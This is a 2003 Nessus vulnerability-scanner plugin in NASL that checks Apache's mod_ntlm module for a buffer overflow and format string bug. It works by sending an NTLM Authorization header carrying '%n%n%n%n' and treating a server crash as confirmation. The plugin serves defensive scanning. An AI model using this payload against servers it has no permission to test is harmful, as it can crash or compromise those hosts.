home *** CD-ROM | disk | FTP | other *** search
- #
- # This script was written by Renaud Deraison
- #
- # See the Nessus Scripts License for details
- #
- # Ref:
- # From: "Matthew Murphy" <mattmurphy@kc.rr.com>
- # To: "BugTraq" <bugtraq@securityfocus.com>
- # Subject: Remote Vulnerabilties in mod_ntlm
- # Date: Mon, 21 Apr 2003 12:11:43 -0500
-
-
-
- if(description)
- {
- script_id(11552);
- script_bugtraq_id(7388, 7393);
-
- script_version("$Revision: 1.5 $");
-
- name["english"] = "mod_ntlm overflow / format string bug";
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote host seems to be running mod_ntlm, a NTLM authentication
- module for Apache.
-
- There is a buffer overflow as well as a format string issue in this server
- which may be used by an attacker to execute arbitrary code on this host.
-
- Solution : None at this time - disable NTLM authentication
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "mod_ntlm overflow / format string";
-
- script_summary(english:summary["english"]);
- script_category(ACT_DESTRUCTIVE_ATTACK);
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");
- family["english"] = "Gain a shell remotely";
- script_family(english:family["english"]);
- script_dependencie("find_service.nes", "http_version.nasl", "webmirror.nasl");
- script_require_ports("Services/www", 80);
- script_require_keys("www/apache");
- exit(0);
- }
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
-
-
- if(!get_port_state(port))exit(0);
-
-
- function check(loc)
- {
- local_var req, res, soc, r;
-
- req = http_get(item:loc, port:port);
- res = http_keepalive_send_recv(port:port, data:req);
- if( res == NULL ) exit(0);
-
- if("WWW-Authenticate: NTLM" >< res )
- {
- req = string("GET ", loc, " HTTP/1.1\r\n",
- "Host: ", get_host_name(), "\r\n",
- "Authorization: NTLM nnnn\r\n\r\n");
- soc = http_open_socket(port);
- if(!soc)exit(0);
-
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- if(!r)exit(0);
- close(soc);
-
-
- req = string("GET ", loc, " HTTP/1.1\r\n",
- "Host: ", get_host_name(), "\r\n",
- "Authorization: NTLM %n%n%n%n\r\n\r\n");
-
-
- soc = http_open_socket(port);
- if(!soc)exit(0);
-
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- if(!r){security_hole(port); exit(0); }
- close(soc);
- }
- }
-
- pages = get_kb_list(string("www/", port, "/content/auth_required"));
- if(isnull(pages)) pages = make_list("/");
- else pages = make_list("/", pages);
-
-
- foreach page (pages)
- {
- check(loc:page);
- }
-